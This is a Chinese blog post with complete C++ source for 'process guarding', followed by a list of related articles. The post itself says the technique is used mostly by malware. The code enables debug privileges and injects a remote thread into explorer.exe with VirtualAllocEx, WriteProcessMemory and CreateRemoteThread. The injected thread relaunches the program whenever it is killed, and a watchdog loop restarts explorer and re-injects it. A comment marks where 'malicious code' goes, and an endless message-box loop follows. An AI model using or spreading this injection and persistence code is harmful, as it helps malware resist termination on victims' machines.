安全之路 —— C++实现进程守护
简介
所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为[DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532051.html)和[无DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532065.html)。
代码实现
//////////////////////////////////////////////////////////////////
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
//////////////////////////////////////////////////////////////////
#pragma once
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <string>
#include <strsafe.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <vector>
using namespace std;
#define MAX_LENGTH 255
#pragma warning(disable:4996)
//远程线程参数结构体
typedef struct _remoteTdParams
{
LPVOID ZWinExec; // WinExec Function Address
LPVOID ZOpenProcess; // OpenProcess Function Address
LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
DWORD ZPid; // Param => Process id
HANDLE ZProcessHandle; // Param => Handle
CHAR filePath[MAX_LENGTH]; // Param => File Path
}RemoteParam;
//本地线程参数结构体
typedef struct _localTdParams
{
CHAR remoteProcName[MAX_LENGTH];
DWORD localPid;
DWORD remotePid;
HANDLE hRemoteThread;
}LocalParam;
//字符串分割函数
BOOL SplitString(const string& s, vector<string>& v, const string& c)
{
string::size_type pos1, pos2;
pos2 = s.find(c);
pos1 = 0;
while (string::npos != pos2)
{
v.push_back(s.substr(pos1, pos2 - pos1));
pos1 = pos2 + c.size();
pos2 = s.find(c, pos1);
}
if (pos1 != s.length())
v.push_back(s.substr(pos1));
return TRUE;
}
//远程线程函数体 (守护函数)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
ZWinExec ZWE;
ZOpenProcess ZOP;
ZWaitForSingleObject ZWFSO;
ZWE = (ZWinExec)lprp->ZWinExec;
ZOP = (ZOpenProcess)lprp->ZOpenProcess;
ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
ZWFSO(lprp->ZProcessHandle, INFINITE);
ZWE(lprp->filePath, SW_SHOW);
return 0;
}
//获取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
//获取权限
int __cdecl EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken)) return 1;
if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
return 0;
}
//线程注入函数
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
rp.ZPid = dwLocalPid;
CHAR szPath[MAX_LENGTH] = "\0";
GetModuleFileName(NULL, szPath, sizeof(szPath));
StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
}
//远程线程监控函数(本地线程函数)
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{
HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
DWORD exitCode = 0;
while (TRUE)
{
if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
GetExitCodeThread(hRemoteThread, &exitCode);
if (exitCode^STILL_ACTIVE)
{
WinExec(szRemoteProcName, SW_HIDE);
dwRemotePid = GetProcessID(szRemoteProcName);
InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
}
Sleep(1000);
}
return 0;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
LocalParam lpLp;
ZeroMemory(&lpLp, sizeof(LocalParam));
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
CHAR szLocalProcName[MAX_LENGTH] = "\0";
CHAR currentFilePath[MAX_LENGTH] = "\0";
vector<string> pathGroup;
GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
SplitString(currentFilePath, pathGroup, "\\");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
DWORD dwRemotePid = GetProcessID(szRemoteProcName);
DWORD dwLocalPid = GetProcessID(szLocalProcName);
HANDLE hThread = NULL;
lpLp.remotePid = dwRemotePid;
lpLp.localPid = dwLocalPid;
hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
//....插入恶意代码等工作流程
while (TRUE)
{
MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
}
WaitForSingleObject(hThread, INFINITE);
return 0;
}
安全之路 —— C++实现进程守护的更多相关文章
- Android 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context ↳an ...
- Android实现双进程守护 (转)
做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...
- 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context ↳an ...
- NodeJs之进程守护
进程守护 由于nodejs的单线程的脆弱性,一旦遇到运行错误便会严重到退出node进程导致系统或应用瘫痪,所以pm2,forever出现了,帮助我们实现进程的重启,这只是他们的特性之一. 实例演示进程 ...
- Android NDK(C++) 双进程守护
双进程守护如果从进程管理器观察会发现新浪微博.支付宝和QQ等都有两个以上相关进程,其中一个就是守护进程,由此可以猜到这些商业级的软件都采用了双进程守护的办法. 什么是双进程守护呢?顾名思义就是两个进程 ...
- Jexus进程守护工具jws.guard
一个运行中的进程,难免会因为各种各样的原因无缘无故的宕掉(比如网站瞬间的负载过高.内存不足等),而Jexus宕掉的后果往往只有一个:对外提供服务的网站无法访问了.因此,我们需要最大限度的保障我们的网站 ...
- Python Twisted系列教程16:Twisted 进程守护
作者:dave@http://krondo.com/twisted-daemonologie/ 译者: Cheng Luo 你可以从”第一部分 Twist理论基础“开始阅读:也可以从”Twisted ...
- Android实现双进程守护
做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...
- Window提高_3.1练习_双进程守护
双进程守护 当打开一个进程A的时候,此进程检测是否存在进程B,如果不存在就创建进程B. 进程B的作用是检测进程A是否被关闭,如果被关闭了,就再创建一个进程A. 双进程守护A.exe代码如下: #inc ...
随机推荐
- 修改Spring Boot默认的上下文
前言 默认情况下,Spring Boot使用的服务上下文为"/",我们可以通过"http://localhost:PORT/" 直接诶访问应用: 但是在生产环境 ...
- Kafka实战-KafkaOffsetMonitor
1.概述 前面给大家介绍了Kafka的背景以及一些应用场景,并附带上演示了Kafka的简单示例.然后,在开发的过程当中,我们会发现一些问题,那就是消息的监控情况.虽然,在启动Kafka的相关服务后,我 ...
- SQL 必知必会·笔记<7>汇总数据——使用聚合函数
有时候我们需要对表中的数据进行汇总,而不需要数据本身,为了方便这些类型的检索,SQL给出了5个聚合函数,SQL聚合函数在各主要的SQL实现中得到了相当一致的支持.如下: 1.1 AVG()函数 AVG ...
- idea中切换svn地址不起作用
由于公司换地儿,svn地址也跟着变化. 期望用idea能修改svn的地址,不至于重新checkout.网上很多说修改 vcs -> Subversion -> Relocate .把原来的 ...
- angular学习笔记-关于ng-class的那些事儿
在angular中为我们提供了3种方案处理class: 第一种:通过数据的双向绑定(一般是不推荐的) 注意:当它的值为一个字符串时,它就会把用空格分开的字符串加到class中(不推荐,与常用class ...
- Spring @RequestAttribute
@RequestAttribute注解用法 @RequestAttribute用在方法入参上,作用:从request中取对应的值,至于request中是怎么存在该属性的,方式多种多样,拦截器中预存.M ...
- MultipartFile 多文件上传的应用
公司的项目很多地方要用到文件上传,以前的上传主要是用apache的fileupload ,使用的感受并不太好.今天试了试spring的MultipartFile,感觉还不错,封装的比较简洁. 当然,中 ...
- Java基础之 运算符
前言:Java内功心法之运算符,看完这篇你向Java大神的路上又迈出了一步(有什么问题或者需要资料可以联系我的扣扣:734999078) 计算机的最基本用途之一就是执行数学运算,作为一门计算机语言,J ...
- C# GDI+编程之Graphics类
GDI+是GDI的后继者,它是.NET Framework为操作图形提供的应用程序编程接口,主要用在窗体上绘制各种图形图像,可以用于绘制各种数据图像.数学仿真等. Graphics类是GDI+的核心, ...
- CentOS安装Memcached
安装&配置 wget http://memcached.org/latest -O memcached.tar.gz tar -zxvf memcached.tar.gz cd memcach ...